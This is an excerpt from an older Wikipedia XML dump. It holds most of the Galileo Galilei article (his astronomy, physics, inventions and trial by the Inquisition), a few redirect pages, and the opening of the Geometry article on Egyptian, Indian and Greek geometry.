Galileo was one of the first Europeans to observe [[sunspot]]s, although there is evidence that [[China|Chinese]] astronomers had done so before. He also reinterpreted a sunspot observation from the time of [[Charlemagne]], which formerly had been attributed (impossibly) to a transit of [[Mercury (planet)|Mercury]]. The very existence of sunspots showed another difficulty with the unchanging perfection of the heavens as assumed in the older philosophy. And the annual variations in their motions, first noticed by Francesco Sizzi, presented great difficulties for either the geocentric system or that of [[Tycho Brahe]]. A dispute over priority in the discovery of sunspots led to a long and bitter feud with [[Christoph Scheiner]]; in fact, there can be little doubt that both of them were beaten by [[David Fabricius]] and his son [[Johannes Fabricius|Johannes]].

He was the first to report lunar [[mountain]]s and [[impact crater|crater]]s, whose existence he deduced from the patterns of light and shadow on the Moon's surface. He even estimated the mountains' heights from these observations. This led him to the conclusion that the Moon was &quot;rough and uneven, and just like the surface of the Earth itself&quot;, and not a perfect [[sphere]] as Aristotle had claimed.

Galileo observed the [[Milky Way]], previously believed to be nebulous, and found it to be a multitude of [[star]]s, packed so densely that they appeared to be clouds from Earth. He also located many other stars too distant to be visible with the naked eye.

Galileo observed the planet [[Neptune (planet)|Neptune]] in 1612, but did not realize that it was a planet and took no particular notice of it. It appears in his notebooks as one of many unremarkable dim stars.

===Modern claims of scientific errors and misconduct===
Although Galileo is generally considered one of the first modern scientists, as evidenced by his position in the sunspot controversy, he is often said to have arrogantly considered himself to be the sole proprietor of the discoveries in astronomy.

Furthermore, he never accepted [[Johannes Kepler|Kepler's]] elliptical orbits for the planets, holding to the circular orbits of Copernicus, which still employed epicycles to account for irregularities in planetary motions.  (The circle was considered the &quot;perfect&quot; shape.)

Concerning his theory on tides, Galileo attributed them to momentum despite his great knowledge of the ideas of relative motion and Kepler's better theories using the [[Moon]] as the cause. (Neither of these great scientists, however, had a workable physical theory of tides; this had to wait for the work of Newton.) Galileo stated in his ''Dialogue'' that, if the Earth spins on its axis and is travelling at a certain speed around the Sun, parts of the Earth must travel &quot;faster&quot; at night and &quot;slower&quot; during the day. This, of course, is true in the Sun's frame of reference; but it is by no means adequate to explain the tides.

Many commentators consider that Galileo developed this position simply to justify his own opinion because the theory was not based on any real scientific observations.  If his theory was correct, there would be only one high tide per day and it would happen at noon. The fact that there are two daily high tides at Venice instead of one, and that they travel around the clock, Galileo and his contemporaries knew, but he dismissed as due to several secondary causes, such as the shape of the sea, its depth, and other things. Against the imputation that Galileo was guilty of some kind of deceit in making these arguments one may take the position of [[Albert Einstein]], as one who had done original work in physics, that Galileo developed his &quot;fascinating arguments&quot; and accepted them too uncritically out of a desire for a physical proof of the motion of the Earth (Einstein, 1952).

==Physics==
Galileo's theoretical and experimental work on the motions of bodies, along with the largely independent work of Kepler and [[René Descartes]], was a precursor of the [[Classical mechanics]] developed by [[Isaac Newton|Sir Isaac Newton]]. He was a pioneer, at least in the European tradition, in performing rigorous experiments and insisting on a [[mathematics|mathematical]] description of the laws of nature.

One of the most famous stories about Galileo is that he dropped [[ball]]s of different [[Mass|masses]] from the [[Leaning Tower of Pisa]] to demonstrate that their time of descent was independent of their mass (excluding the limited effect of air resistance). This was contrary to what Aristotle had taught: that heavy objects fall faster than lighter ones, in direct proportion to weight. Though the story of the tower first appeared in a biography by Galileo's pupil [[Vincenzo Viviani]], it is not now generally accepted as true.  Moreover, [[Giambattista Benedetti]] had reached the same scientific conclusion years before, in [[1553]].  However, Galileo did perform [[experiment]]s involving rolling balls down [[inclined plane]]s, which proved the same thing: falling or rolling objects (rolling is a slower version of falling, as long as the distribution of mass in the objects is the same) are [[acceleration|accelerated]] independently of their mass. (Although Galileo was the first person to demonstrate this via experiment, he was not (contrary to popular belief) the first to argue that it was true. [[John Philoponus]] had argued this centuries earlier).

He determined the correct mathematical law for acceleration: the total distance covered, starting from rest, is proportional to the square of the time (This law is regarded as a predecessor to the many later scientific laws expressed in mathematical form.). He also concluded that objects ''retain their velocity'' unless a [[force]] &amp;ndash; often [[friction]] &amp;ndash; acts upon them, refuting the accepted Aristotelian hypothesis that objects &quot;naturally&quot; slow down and stop unless a force acts upon them (again [[John Philoponus]] had proposed a similar (though erroneous) theory). Galileo's Principle of Inertia stated: &quot;A body moving on a level surface will continue in the same direction at constant speed unless disturbed.&quot; This principle was incorporated into [[Newton's laws of motion]] (1st law).
[[Image:Pisa.Duomo.dome.Riminaldi01.jpg|thumb|right|250px|Dome of the cathedral of Pisa with the &quot;lamp of Galileo&quot;]]

Galileo also noted that a [[pendulum]]'s swings always take the same amount of time, independently of the [[amplitude]]. The story goes that he came to this conclusion by watching the swings of the bronze chandelier in the cathedral of Pisa, using his pulse to time it. While Galileo believed this equality of period to be exact, it is only an approximation appropriate to small amplitudes. It is good enough to regulate a [[clock]], however, as Galileo may have been the first to realize. (See [[#Technology|Technology]] below)

In the early 1600s, Galileo and an assistant tried to measure the [[speed of light]]. They stood on different hilltops, each holding a shuttered [[lantern]]. Galileo would open his shutter, and, as soon as his assistant saw the flash, he would open his shutter. At a distance of less than a mile, Galileo could detect no delay in the round-trip time greater than when he and the assistant were only a few yards apart. While he could reach no conclusion on whether light propagated instantaneously, he recognized that the distance between the hilltops was perhaps too small for a good measurement.

Galileo is lesser known for, yet still credited with being one of the first to understand sound frequency. After scraping a chisel at different speeds, he linked the pitch of sound to the spacing of the chisel's skips (frequency).

In his 1632 [[Dialogue Concerning the Two Chief World Systems|Dialogue]] Galileo presented a physical theory to account for [[tide]]s, based on the motion of the Earth. If correct, this would have been a strong argument for the reality of the Earth's motion. (The original title for the book, in fact, described it as a dialogue on the tides; the reference to tides was removed by order of the Inquisition.) His theory gave the first insight into the importance of the shapes of ocean basins in the size and timing of tides; he correctly accounted, for instance, for the  negligible tides halfway along the [[Adriatic Sea]] compared to those at the ends. As a general account of the cause of tides, however, his theory was a failure. Kepler and others correctly associated the Moon with an influence over the tides, based on empirical data; a proper physical theory of the tides, however, was not available until Newton.

Galileo also put forward [[Galilean invariance|the basic principle of relativity]], that the laws of physics are the same in any system that is moving at a constant speed in a straight line, regardless of its particular speed or direction. Hence, there is no absolute motion or absolute rest. This principle provided the basic framework for Newton's laws of motion and [[Albert Einstein|Einstein]]'s [[theory of relativity]].

==Mathematics==
While Galileo's application of mathematics to experimental physics was innovative, his mathematical methods were the standard ones of the day. The analyses and proofs relied heavily on the [[Eudoxus of Cnidus|Eudoxian]] theory of proportion, as set forth in the fifth book of [[Euclid's Elements]]. This theory had become available only a century before, thanks to accurate translations by [[Niccolo Fontana Tartaglia|Tartaglia]] and others; but by the end of Galileo's life it was being superseded by the algebraic methods of [[René Descartes|Descartes]], which a modern finds incomparably easier to follow.

Galileo produced one piece of original and even prophetic work in mathematics: [[Galileo's paradox]], which shows that there are as many perfect squares as there are whole numbers, even though most numbers are not perfect squares. Such seeming contradictions were brought under control 250 years later in the work of [[Georg Cantor]].

==Technology==
Galileo made a few contributions to what we now call [[technology]] as distinct from pure physics, and suggested others. This is not the same distinction as made by Aristotle, who would have considered all Galileo's physics as ''techne'' or useful knowledge, as opposed to ''episteme'', or philosophical investigation into the causes of things.

In 1595&amp;ndash;1598, Galileo devised and improved a &quot;Geometric and Military Compass&quot; suitable for use by [[artillery|gunners]] and [[surveyor]]s. This expanded on earlier instruments designed by [[Niccolo Tartaglia]] and [[Guidobaldo del Monte]]. For gunners, it offered, in addition to a new and safer way of elevating [[cannon]]s accurately, a way of quickly computing the charge of [[gunpowder]] for [[cannonball]]s of different sizes and materials. As a geometric instrument, it enabled the construction of any regular [[polygon]], computation of the area of any polygon or circular sector, and a variety of other calculations.

About 1606&amp;ndash;1607 (or possibly [[Timeline of temperature and pressure measurement technology|earlier]]), Galileo made a [[thermometer]], using the expansion and contraction of air in a bulb to move water in an attached tube.

In 1609, Galileo was among the first to use a [[refracting telescope]] as an instrument to observe stars, planets or moons.

In 1610, he used a telescope as a compound [[microscope]], and he made improved microscopes in 1623 and after. This appears to be the [[Timeline of microscope technology|first]] clearly documented use of the compound microscope.

In 1612, having determined the orbital periods of Jupiter's satellites, Galileo proposed that with sufficiently accurate knowledge of their orbits one could use their positions as a universal clock, and this would make possible the determination of [[longitude]]. He worked on this problem from time to time during the remainder of his life; but the practical problems were severe. The method was first successfully applied by [[Giovanni Domenico Cassini]] in 1681 and was later used extensively for land surveys; for navigation, the first practical method was the [[chronometer]] of [[John Harrison]].

In his last year, when totally [[blindness|blind]], he designed an [[escapement]] mechanism for a pendulum clock. The first fully operational pendulum clock was made by [[Christiaan Huygens]] in the 1650s.

He created [[Sketch (drawing)|sketches]] of various [[invention]]s, such as a [[candle]] and [[mirror]] combination to reflect light throughout a building, an automatic [[tomato]] picker, a pocket comb that doubled as an eating utensil, and what appears to be a [[ballpoint pen]].

[[Image:Galilee.jpg|thumb|left|150px|Galileo Galilei]]

==Church controversy==
:''Main article: [[Galileo affair]]''.

Psalms 93 and [[psalm 104|104]], and Ecclesiastes 1:5 speak of the motion of celestial bodies and the suspended position of the earth. Galileo defended [[heliocentrism]], and claimed it was not contrary to those Scripture passages. He took [[Augustine of Hippo|Augustine's]] position on Scripture: not to take every passage too literally. The writers of the Scripture wrote from the perspective of the terrestrial world, and from that vantage point the sun does rise and set. In fact, it is the earth's rotation which gives the impression of the sun in motion across the sky.

By 1616 the attacks on Galileo had reached a head, and he went to Rome to try to persuade the Church authorities not to ban his ideas. In the end, [[Cardinal Bellarmine]], acting on directives from the Inquisition [http://www.newadvent.org/cathen/02411d.htm], delivered him an order not to &quot;hold or defend&quot; the idea that the Earth moves and the Sun stands still at the centre. The decree did not prevent Galileo from hypothesizing heliocentrism. For the next several years Galileo stayed well away from the controversy.

He revived his project of writing a book on the subject, encouraged by the election of [[Cardinal Barberini]] as [[Pope Urban VIII]] in 1623. Barberini was a friend and admirer of Galileo, and had opposed the condemnation of Galileo in 1616. The book, [[Dialogue Concerning the Two Chief World Systems]], was published in 1632, with formal authorization from the [[Inquisition]] and papal permission.

Pope Urban VIII personally asked Galileo to give arguments for and against heliocentrism in the book, and to be careful not to advocate heliocentrism. He made another request, that his own views on the matter be included in Galileo's book. Only the latter of those requests was fulfilled by Galileo. Whether unknowingly or deliberate, Simplicius, the defender of the Aristotelian Geocentric view in ''Dialogue Concerning the Two Chief World Systems'', was often caught in his own errors and sometimes came across as a fool. This fact made ''Dialogue Concerning the Two Chief World Systems'' appear as an advocacy book; an attack on Aristotelian geocentrism and defence of the Copernican theory. To add insult to injury, Galileo put the words of Pope Urban VIII into the mouth of Simplicius. Most historians agree Galileo did not act out of malice and felt blindsided by the reaction to his book. However, the pope did not take the public ridicule lightly, nor the blatant bias. Galileo had alienated one of his biggest and most powerful supporters, the pope, and was called to Rome to explain himself.

With the loss of many of his defenders in Rome because of ''Dialogue Concerning the Two Chief World Systems'', Galileo was ordered to stand trial on suspicion of heresy in 1633. The sentence of the Inquisition was in three essential parts:
* Galileo was required to [[recantation|recant]] his heliocentric ideas, which were condemned as &quot;formally heretical&quot;;.
* He was ordered imprisoned; the sentence was later commuted to house arrest.
* His offending ''Dialogue'' was banned; and in an action not announced at the trial, publication of any of his works was forbidden, including any he might write in the future.

After a period with the friendly  [[Alessandro Piccolomini|Archbishop Piccolomini]]  (The Archbishop of Siena was Ascanio Piccolomini; the link here is to Alessandro Piccolomini, who died in 1578) in [[Siena]], Galileo was allowed to return to his villa at [[Arcetri]] near Florence, where he spent the remainder of his life under house arrest. It was while Galileo was under house arrest when he dedicated his time to one of his finest works, [[Two New Sciences]]. This book has received high praise from both [[Isaac Newton]] and [[Albert Einstein]]. As a result of this work, Galileo is often called, the &quot;father of modern physics&quot;.

On [[31 October]] [[1992]], Pope John Paul II officially announced that the Church had mishandled the case.

==Galileo's writings==
[[Image:Galileo Galilei01.jpg|thumb|right|200px|Statue outside the [[Uffizi]], Florence]]
* ''[[Two New Sciences]]'' 1638 [[Lowys Elzevir]] (Louis Elsevier) [[Leiden]] (in [[Italian Language|Italian]], ''Discorsi e Dimostrazioni Matematiche, intorno á due nuoue scienze'' Leida, Appresso gli Elsevirii 1638)
* ''[[Letters on Sunspots]]''
* ''[[The Assayer]]'' (In Italian, ''Il Saggiatore'')
* ''[[Dialogue Concerning the Two Chief World Systems]]'' 1632 (in Italian, ''Dialogo dei due massimi sistemi del mondo'')
* ''[[Sidereus Nuncius|The Starry Messenger]]'' 1610 [[Venice]] (in [[Latin]], ''[[Sidereus Nuncius]]'')
* ''[[Letter to Grand Duchess Christina]]''

==Writings on Galileo==
* ''[[Galileo Galilei (opera)|Galileo Galilei]]'', an opera by [[Philip Glass]]
* ''[[Galileo (play)|Galileo]]'' a play by [[Bertolt Brecht]]
* ''[[Galileo (play)|Lamp at Midnight]]'' a play by [[Barrie Stavis]]
Galileo's Daughter, a Memoir by Dava Sobel

==References==
* Drake, Stillman (1953). ''Dialogue Concerning the Two Chief World Systems''. Berkeley: University of California Press.
* Drake, Stillman (1957). ''Discoveries and Opinions of Galileo''. New York: Doubleday &amp; Company. ISBN 0-385-09239-3
* Drake, Stillman (1973). &quot;Galileo's Discovery of the Law of Free Fall&quot;. ''Scientific American'' v. 228, #5, pp. 84-92.
* Drake, Stillman (1978). ''Galileo At Work''. Chicago: University of Chicago Press. ISBN 0-226-16226-5
* Einstein, Albert (1952). Foreword to (Drake, 1953)
* Fantoli, Annibale (2003). ''Galileo  &amp;mdash; For Copernicanism and the Church'', third English edition. Vatican Observatory Publications. ISBN 88-209-7427-4
* Fillmore, Charles (1931, 17th printing July 2004). ''Metaphysical Bible Dictionary''. Unity Village, Missouri: Unity House. ISBN 0-871-59067-0
* Hellman, Hal (1988). ''Great Feuds in Science. Ten of the Liveliest Disputes Ever''. New York: Wiley.
* Lessl, Thomas, &quot;[http://www.catholiceducation.org/articles/apologetics/ap0138.html The Galileo Legend]&quot;. ''New Oxford Review'', 27-33 (June 2000).
* Newall, Paula (2004). [http://www.galilean-library.org/hps.html &quot;The Galileo Affair.&quot;]
* Settle, Thomas B. (1961). &quot;An Experiment in the History of Science&quot;. ''Science'', 133:19-23.
* Sobel, Dava. (1999). ''Galileo's Daughter''. ISBN: 0-140-28055-3
* White, Andrew Dickson (1898). ''[http://www.santafe.edu/~shalizi/White/ A History of the Warfare of Science with Theology in Christendom]''. New York 1898.

==Named after Galileo==
* The [[Galileo probe|Galileo mission]] to [[Jupiter (planet)|Jupiter]]
* The [[Galilean moons]] of [[Jupiter (planet)|Jupiter]]
* [[Galileo Regio]] on [[Ganymede (moon)|Ganymede]]
* [[Galilaei (lunar crater)|Galilaei crater]] on [[the Moon]]
* [[Galilaei (crater)|Galilaei crater]] on [[Mars (planet)|Mars]]
* [[Asteroid]] [[697 Galilea]] (named on the occasion of the 300th anniversary of the discovery of the Galilean moons)
* [[Gal (unit)|Galileo (unit of acceleration)]]
* [[Galileo positioning system]]
* [[Galileo stadium]] in [[Miami, Florida]]

==See also==
*[[Eppur si muove]]
*[[Galilean transformation]]
*[[Galilean invariance]]
*[[List of people on stamps of Ireland]]
*[[Lorentz transformation equations]]
*[[Medici]]
*[[Renaissance]]
*[[Vincenzo Galilei]]

==External links==
{{wikiquote}}
{{Commons|Galileo Galilei}}
* [http://brunelleschi.imss.fi.it/genscheda.asp?appl=SIM&amp;xsl=biografia&amp;lingua=ENG&amp;chiave=300251 Biography of Galileo Galilei] with links to related objects conserved in the Institute and Museum of the History of Science in Florence, Italy
* [http://brunelleschi.imss.fi.it/genindice.asp?appl=SIM&amp;indice=55&amp;xsl=listaperctem&amp;lingua=ENG&amp;chiave=800008 Galileo theme-based virtual visit to the Institute and Museum of the History of Science in Florence, Italy] including videos
* [http://www.imss.fi.it/ms72/index.html Galileo's &quot;Notes on Motion&quot;] - online digital edition with transcriptions
* [http://brunelleschi.imss.fi.it/esplora/compasso/ Galileo's compass] an educational interactive application to explore online the history and uses of Galileo's compass
* [http://moro.imss.fi.it:9000/struts-aig/primoIngresso.do Galileo//Thek@] - an online digital archive of Galilean resources (including bibliographies, biographies, digital books, itineraries, manuscripts, experiments, documents, iconography, and more
* [http://www.catholic.net/rcc/Periodicals/Issues/GalileoAffair.html Galileo Affair catholic.net]
* [http://www.galilean-library.org/hps.html The Galileo Affair] by Paula Newall.
* [http://www.infidels.org/library/historical/andrew_white/Chapter3.html The Warfare of Science With Theology]
* [http://galileo.rice.edu/ The Galileo Project] at [[Rice University]]
* [http://www.pacifier.com/~tpope CCD Images through a Galilean Telescope] Modern recreation of what Galileo might have seen;  includes directions for using Galileo//Thek@ website
* [http://wspace.danask.com/g/galileo_galilei.html about Galileo Galilei] at [[danask.com]]
* [http://www.mpiwg-berlin.mpg.de/Galileo_Prototype/MAIN.HTM Electronic representation of Galilei's notes on motion (MS. 72)]
* [http://www.firstthings.com/ftissues/ft0401/reviews/barr.html From Myth to History and Back]  --  Reviews of two books on Galileo
* [http://www.pbs.org/wgbh/nova/galileo/ PBS Nova Online: ''Galileo's Battle for the Heavens'']
* [http://plato.stanford.edu/entries/galileo/ Stanford Encyclopedia of Philosophy entry]
* [http://www.galilean-library.org The Galilean Library], an educational site dedicated to Galileo
* [http://www.liberliber.it/biblioteca/g/galilei/ Galileo's writings in Italian language], an Italian site dedicated to free e-texts
* [http://www.newadvent.org/cathen/06342b.htm Galileo Galilei, in the Catholic Encyclopedia] found online on New Advent, an orthodox Catholic website
* {{MacTutor Biography|id=Galileo}}

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[[Category:1564 births|Galilei]]
[[Category:1642 deaths|Galilei]]
[[Category:Astrologers]]
[[Category:Heretics|Galilei]]
[[Category:Italian astronomers|Galilei]]
[[Category:Italian physicists|Galilei]]
[[Category:Natives of Pisa|Galilei]]
[[Category:Roman Catholics|Galilei]]
[[Category:History of physics]]
[[Category:History of astronomy]]


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{{featured article}}

[[als:Galileo Galilei]]
[[ar:غاليليو غاليلي]]
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[[uk:Галілей Галілео]]
[[zh:伽利略·伽利莱]]</text>
    </revision>
  </page>
  <page>
    <title>Good argument</title>
    <id>11947</id>
    <revision>
      <id>15909657</id>
      <timestamp>2004-11-22T10:15:28Z</timestamp>
      <contributor>
        <username>Charles Matthews</username>
        <id>12978</id>
      </contributor>
      <comment>redirect - not enough here to stand alone</comment>
      <text xml:space="preserve">#REDIRECT [[cogency]]</text>
    </revision>
  </page>
  <page>
    <title>Gnu</title>
    <id>11950</id>
    <revision>
      <id>15909659</id>
      <timestamp>2003-12-06T19:32:22Z</timestamp>
      <contributor>
        <username>AlexPlank</username>
        <id>25253</id>
      </contributor>
      <comment>#redirect:[[wildebeest]] not GNU</comment>
      <text xml:space="preserve">#redirect:[[wildebeest]]</text>
    </revision>
  </page>
  <page>
    <title>Gnu/Linux</title>
    <id>11952</id>
    <revision>
      <id>15909661</id>
      <timestamp>2004-08-04T01:18:58Z</timestamp>
      <contributor>
        <username>Kate</username>
        <id>74348</id>
      </contributor>
      <comment>redirect to [[Linux]] - see [[Talk:Linux]]</comment>
      <text xml:space="preserve">#REDIRECT [[Linux]]</text>
    </revision>
  </page>
  <page>
    <title>Geometry</title>
    <id>11953</id>
    <revision>
      <id>41725313</id>
      <timestamp>2006-03-01T08:38:35Z</timestamp>
      <contributor>
        <ip>131.211.36.14</ip>
      </contributor>
      <comment>/* Early geometry */</comment>
      <text xml:space="preserve">'''Geometry'''  ([[Greek language|Greek]] ''γεωμετρία''; geo = earth, metria = measure) arose as the field of knowledge dealing with spatial relationships. It was one of the two fields of pre-modern mathematics, the other being the study of numbers. In modern times, geometric concepts have been generalized to a high level of abstraction and complexity, and have been subjected to the methods of calculus and abstract algebra, so that many modern branches of the field are barely recognizable as the descendants of early geometry. (See [[areas of mathematics]] and [[algebraic geometry]].)

==Early geometry==
The earliest recorded beginnings of geometry can be traced to [[ancient Egypt]] (see [[Egyptian mathematics#Geometry|geometry in Egypt]]), the [[Indus Valley Civilization|ancient Indus Valley]] (see [[Indian mathematics#Harappan Mathematics .283300 BC - 1500 BC.29|Harappan Mathematics]]), and ancient [[Babylonia]] (see [[Babylonian mathematics]]) from around [[3000 BC]]. Early geometry was a collection of empirically discovered principles concerning lengths, angles, areas, and volumes, which were developed to meet some practical need in [[surveying]], [[construction]], [[astronomy]], and various crafts. Among these were some surprisingly sophisticated principles, and a modern mathematician might be hard put to derive some of them without the use of [[calculus]]. For example, both the Egyptians and the Babylonians were aware of versions of the [[Pythagorean theorem]] about 1500 years before [[Pythagoras]]; the Egyptians had a correct formula for the volume of a [[frustum]] of a square pyramid; the Babylonians had a [[trigonometry table]].

Chinese culture at this same time period was just as advanced as its contemporaries, so it is likely that they also had an advanced form of mathematics, but no artifacts have survived from which we could learn about it. This may be partly due to their early use of paper, rather than clay tablets or stone, to record their achievements.

==Ancient Indian geometry (c. 3000 - 500 B.C.) ==
===Harappan geometry===
The geometry used in the [[Indus Valley Civilization]] of [[North India]] and [[Pakistan]] from around 3000 B.C. was just as advanced as its contemporaries in Egypt and Mesopotamia, and mostly developed as a result of advanced [[urban planning]], which is evident from the perfect grid pattern of [[Harappa]] and [[Mohenjo-daro]], which included streets laid out in perfect right angles. The geometry used by this early [[Harappan civilization]] was for practical means, and was primarily concerned with weights, measuring scales and a surprisingly advanced ''brick technology'', which utilised [[ratio]]s. The ratio for brick dimensions 4:2:1 is even today considered optimal for effective bonding. Brick sizes were in a perfect ratio of 4:2:1. Decimal weights were based on ratios of 1/20, 1/10, 1/5, 1/2, 1, 2, 5, 10, 20, 50, 100, 200, and 500, with each unit weighing approximately 28 grams, similar to the English ounce or Greek uncia.

Many of the weights uncovered have been produced in definite geometrical shapes ([[cuboid]], [[barrel]], [[cone (solid)|cone]], and [[cylinder]] to name a few) which present knowledge of basic geometry, including the circle. This culture also produced artistic designs of a mathematical nature and there is evidence on carvings that these people could draw concentric and intersecting circles and triangles.

Further to the use of circles in decorative design there is indication of the use of bullock carts, the wheels of which may have had a metallic band wrapped round the rim. Some historians believe this points to the possession of knowledge of the ratio of the length of the circumference of the circle and its diameter, and thus values of [[π]].

In [[Lothal]], a thick ring-like shell object found with four slits each in two margins served as a [[compass]] to measure angles on plane surfaces or in horizon in multiples of 40&amp;ndash;360 degrees. Such shell instruments were probably invented to measure 8&amp;ndash;12 whole sections of the horizon and sky, explaining the slits on the lower and upper margins. Archaeologists consider this as evidence the Lothal experts had achieved something 2,000 years before the Greeks are credited with doing: an 8&amp;ndash;12 fold division of horizon and sky, as well as an instrument to measure angles and perhaps the position of stars, and for navigation purposes. Lothal contributes one of three measurement scales that are integrated and linear (others found in Harappa and Mohenjodaro). An ivory scale from Lothal has the smallest-known decimal divisions in Indus civilization. The scale is 6mm thick, 15&amp;nbsp;[[mm]] broad and the available length is 128&amp;nbsp;mm, but only 27 graduations are visible over 146&amp;nbsp;mm, the distance between graduation lines being 1.704&amp;nbsp;mm (the small size indicate use for finer purposes). The sum total of ten graduations from Lothal is approximate to the ''angula'' in the ''[[Arthashastra]]''. The Lothal craftsmen took care to ensure durability and accuracy of stone weights by blunting edges before polishing. The Lothal weight of 12.184&amp;nbsp;gm is almost equal to the Egyptian ''Oedet'' of 13.792&amp;nbsp;gm.

===Vedic geometry===
During the [[Indian mathematics#Vedic Mathematics .281500 BC - 500 BC.29|Vedic period]] of [[Indian mathematics]] (c. 1500-500 B.C.), many rules and developments of geometry are found in [[Vedic]] works as a result of the mathematics required for the construction of religious [[altar]]s. These include the use of geometric shapes, including triangles, rectangles, squares, [[trapezium|trapezia]] and circles, equivalence through numbers and area, [[squaring the circle]] and vice versa, the [[Pythagorean theorem]] and a list of [[Pythagorean triples]] discovered algebraically, and computations of [[π]] (correct to 2 decimal places).

As a result of the mathematics required for the construction of these altars, many rules and developments of geometry are found in Vedic works. These include: 

*Use of geometric shapes, including triangles, rectangles, squares, trapezia and circles.
*Equivalence through numbers and area. 
*[[Squaring the circle]] and vice versa.
*[[Pythagorean triple]]s discovered algebraically.
*Statements of the [[Pythagorean theorem]] and a numerical proof.
*Computations of [[π]], with the closest being correct to 2 decimal places.

[[Lagadha]] (circa [[1350]]-[[1200]]) was probably the earliest known mathematician to have used geometry and [[trigonometry]] for [[astronomy]]. 

[[Yajnavalkya]] ([[9th century BC]]) composed the ''[[Shatapatha Brahmana]]'', which contains geometric aspects, including several computations of π, with the closest being correct to 2 decimal places (the most accurate value of π upto that time), and gives a rule implying knowledge of the Pythagorean theorem.

The ''[[Sulba Sutras]]'' (&quot;''Rule of Chords''&quot; in [[Vedic Sanskrit]]), which is another name for geometry, were composed between [[800 BC]] and [[500 BC]] and were appendices to the [[Vedas]] giving rules for the construction of religious altars. The ''Sulba Sutras'' contain the first use of [[irrational number]]s, [[quadratic equation]]s of the form a x&lt;sup&gt;2&lt;/sup&gt; = c and ax&lt;sup&gt;2&lt;/sup&gt; + bx = c, the use of the [[Pythagorean theorem]] and a list of [[Pythagorean triples]] discovered algebraically ''predating'' Pythagoras, geometric solutions of [[linear equation]]s, and a number of geometrical proofs. These discoveries are mostly a result of altar construction, which also led to the first known calculations for the [[square root]] of 2, which were correct to a remarkable 5 decimal places.

[[Baudhayana]] (circa [[800 BC]]) composed the ''Baudhayana Sulba Sutra'', which contains a statement of the Pythagorean theorem, geometric solutions of a linear equation in a single unknown, several approximations of [[π]] (the closest value being 3.114), along with the first use of irrational numbers and quadratic equations of the forms ax&lt;sup&gt;2&lt;/sup&gt; = c and ax&lt;sup&gt;2&lt;/sup&gt; + bx = c, and a computation for the square root of 2, which was correct to a remarkable five decimal places.

[[Manava]] (circa [[750 BC]]) composed the ''Manava Sulba Sutra'', which contains approximate constructions of circles from rectangles, and squares from circles, which give approximate values of [[π]], with the closest value being 3.125.

[[Apastamba]] (circa [[600 BC]]) composed the ''Apastamba Sulba Sutra'', which contains the method of [[squaring the circle]], considers the problem of dividing a segment into 7 equal parts, calculates the square root of 2 correct to five decimal places, solves the general [[linear equation]], and also contains a numerical proof of the [[Pythagorean theorem]], using an area computation. The historian Albert Burk claims this was the original proof of the theorem which [[Pythagoras]] copied on his visit to India.

==Classical Greek geometry (c. 600 – 300 B.C.)==
For the ancient [[Greek]] [[Greek mathematics|mathematicians]], geometry was the crown jewel of their sciences, reaching a completeness and perfection of methodology that no other branch of their knowledge had attained. They expanded the range of geometry to many new kinds of figures, curves, surfaces, and solids; they changed its methodology from trial-and-error to logical deduction; they recognized that geometry studies [[forms|“eternal forms”]], or abstractions, of which physical objects are only approximations; and they developed the idea of an [[axiomatic system|“axiomatic theory”]], which, for more than 2000 years, was regarded to be the ideal paradigm for all scientific theories.

===Thales and Pythagoras===
[[Thales]] (635-543 B.C.) of [[Miletus]] (now in southwestern Turkey), was the first to whom deduction in mathematics is attributed. There are five geometric propositions for which he wrote deductive proofs, though his proofs have not survived. [[Pythagoras]] (582-496 B.C.) of Ionia, and later, Italy, then colonized by Greeks, may have been a student of Thales, and traveled to [[Babylon]] and [[Egypt]]. The theorem that bears his name was not his discovery, but he was probably one of the first to give a deductive proof of it. He gathered a group of students around him to study mathematics, music, and philosophy, and together they discovered most of what high school students learn today in their geometry courses. In addition, they made the profound discovery of [[commensurability (mathematics)|incommensurable lengths]] and [[irrational number|irrational numbers]].

===Plato===
[[Plato]] (427-347 B.C.), the philosopher most esteemed by the Greeks, had inscribed above the entrance to his famous school, “Let none ignorant of geometry enter here.” Though he was not a mathematician himself, his views on mathematics had great influence. Mathematicians thus accepted his belief that geometry should use no tools but a compass and straight edge – never measuring instruments such as a marked ruler or a protractor, because these were a workman’s tools, not worthy of a scholar. This dictum led to a deep study of the possible [[ruler and compass constructions]], and three classic ruler-and-compass problems: how to use these tools to trisect an angle, to construct a cube twice the volume of a given cube, and to construct a square equal in area to a given circle. The proofs of the impossibility of these constructions, finally achieved in the 19th century, led to important principles regarding the deep structure of the real number system. [[Aristotle]] (384-322 B.C.), Plato’s greatest pupil, wrote a treatise on methods of reasoning used in deductive proofs (see [[Logic]]) which was not substantially improved upon until the 19th century.

==Hellenistic geometry (c. 300 B.C - 500 C.E.)==
===Euclid===
[[Euclid]] (c. 325-265 B.C.), of [[Alexandria]], probably a student of one of Plato’s students, wrote a treatise in 13 books (chapters), titled ''[[Euclid's Elements|The Elements of Geometry]]'', in which he presented geometry in an ideal [[axiom]]atic form, which came to be known as [[Euclidean geometry]]. The treatise is not a compendium of all that the [[Hellenistic]] mathematicians knew at the time about geometry; Euclid himself wrote eight more advanced books on geometry. We know from other references that Euclid’s was not the first elementary geometry textbook, but it was so much superior that the others fell into disuse and were lost. He was brought to the university at Alexandria by [[Ptolemy I Soter|Ptolemy I]], King of Egypt.

''The Elements'' began with definitions of terms, fundamental geometric principles (called ''axioms'' or ''postulates''), and general quantitative principles (called ''common notions'') from which all the rest of geometry could be logically deduced. Following are his five axioms, somewhat paraphrased to make the English easier to read.

# Any two points can be joined by a straight line.
# Any finite straight line can be extended in a straight line.
# A circle can be drawn with any center and any radius.
# All right angles are equal to each other.
# If two straight lines in a plane are crossed by another straight line (called the transversal), and the interior angles between the two lines and the transversal lying on one side of the transversal add up to less than two right angles, then on that side of the transversal, the two lines extended will intersect (also called the [[parallel postulate]]).

It was soon observed, and no doubt Euclid himself knew, that his fifth axiom could be replaced by the shorter statement “Given a line and a point not on the line, there is only one line through the given point and in the same plane with the given line that does not intersect the given line.” This is called Playfair’s Axiom, after the British teacher who proposed to make the replacement in all the school textbooks.

The axioms, according to Plato, should be simple and self-evident principles, so clearly true that they need no proof. Euclid’s first four axioms meet this criterion, but the fifth, even if replaced by Playfair’s Axiom, is not simple, and most would say not self-evident like the first four. The fifth resembled more the theorems that Euclid proved from the axioms. Furthermore, Euclid developed a substantial part of his theory of triangles without using the Fifth Axiom. The speculation arose, probably during Euclid’s lifetime, that the Fifth Axiom can and should be proved as a theorem from the first four, and thus is unnecessary as an axiom. Thus began many centuries of attempts to prove the Fifth Axiom, and the question was not settled until the 19th century.

===Archimedes===
